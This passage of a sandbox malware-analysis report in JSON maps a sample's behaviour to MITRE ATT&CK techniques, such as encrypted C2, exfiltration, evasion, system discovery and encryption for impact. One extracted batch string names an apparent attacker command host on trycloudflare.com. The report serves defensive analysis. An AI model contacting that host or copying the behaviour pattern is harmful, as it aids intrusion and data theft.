ports"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"_lzma.pyd\")\n file/memory contains long string(File: \"_bz2.pyd\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00003044)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2135470702593', 'hResInfo': '2135470703840'}\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2135470702593', 'hResInfo': '2135470703872'}\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2135470702593', 'hResInfo': '2135470703888'}\" (UID: 00000000-00003044)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2135470702593', 'hResInfo': '2135470703856'}\" (UID: 00000000-00003044)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertFrom-StringData\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"RC2\"; File: \"s1.bin\")\n file/memory contains long string with (Indicator: \"SHA384\"; File: \"libffi-8.dll\")\n file/memory contains long string with (Indicator: \"HMAC\"; File: \"_hashlib.pyd\")\n file/memory contains long string with (Indicator: \"SHA384\"; File: \"_hashlib.pyd\")\n file/memory contains long string with (Indicator: \"SHA512\"; File: \"_hashlib.pyd\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00005872-00000BC0-1682246484\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007628.00000000.175497.78C30000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at CE020000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\COMMAND PROCESSOR\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\COMMAND PROCESSOR\")\n \"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\COMMAND PROCESSOR\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\COMMAND PROCESSOR\")\n \"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\")\n \"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\")\n \"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\")\n \"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\\ALTERNATE SORTS\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$27","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"python.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Uses .NET dynamic method generation for code execution","description":"Found string \"Anonymously Hosted DynamicMethods Assembly\" (Source: \"00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp, 00000000-00003044.00000001.171730.4C78C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027.002","relevance":1,"id":"string-993","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00003044.00000001.171730.3D120000.00000004.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00005872.00000000.172076.3D120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"$28","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$29","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import cryptographic keys into a CSP","description":"$2a","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003044.00000001.171730.3D120000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003044.00000001.171730.3D1A0000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005872.00000000.172076.3D120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: YARA signature match - AES encryption\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2c","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2d","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"file.delete\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003044-00000C2C-1673927263\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003044-00000C2C-1675232530\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003044-00000C2C-1673927263\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003044-00000C2C-1675232530\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00003044-00000C2C-1672016184\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00003044-00000C2C-1672016657\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003044-00000C2C-1676173516\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003044-00000C2C-1676173547\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"_socket.pyd\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00005872-00000C2C-1687980552\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00003044-00000C2C-1675098803\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00003044-00000C2C-1675098828\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003044)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002240)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002240)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"cmd.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002240)\n \"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003044)\n \"cmd.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003108)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"3044\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"5872\" - (UID: 00000000-00005872)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005872)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002240)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003044)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000f10100003037dd31f1010000d04e53cefa7f000005000005658f0000a06adf31 (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f0000020000000000610063006c0065005c004a006100760061005c006a0061007600610070006100740068003b0043003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032003b0043003a005c00570049004e0044004f00570053003b0043003a005c00570049004e0044004f00570053005c0053007900 (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetVersionExA\" (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003044)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00003044)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005872)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005872)\n \"powershell.exe\" called \"LookupAccountSidW\" (UID: 00000000-00005872)\n \"powershell.exe\" called \"LookupAccountSidW\" (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003044)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005872)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006572)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set \"baseUrl=https://opposite-lodge-strict-closes.trycloudflare.com\"\" (Indicator: \"set \"; File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")\n Found string \"set \"A=%LOCALAPPDATA%\\xt\"\" (Indicator: \"set \"; File: \"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00003044.00000001.171730.B94B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"$31","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00003044-00000C17-1677922824\n \"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00003108-00000C17-1734058208\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00005872-00000C17-1685829601\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006572-00000C17-1726942870","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"USESHORTNAME\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\\SUPPORTEDPROTOCOLS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"APPENDPATH\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"PATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\2CAB35576D40A8DD509EC54D0A6654597F2566F1E2FB0FA1635573C391C60A1D.BIN.BAT\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PY.EXE\")","origin":"Registry 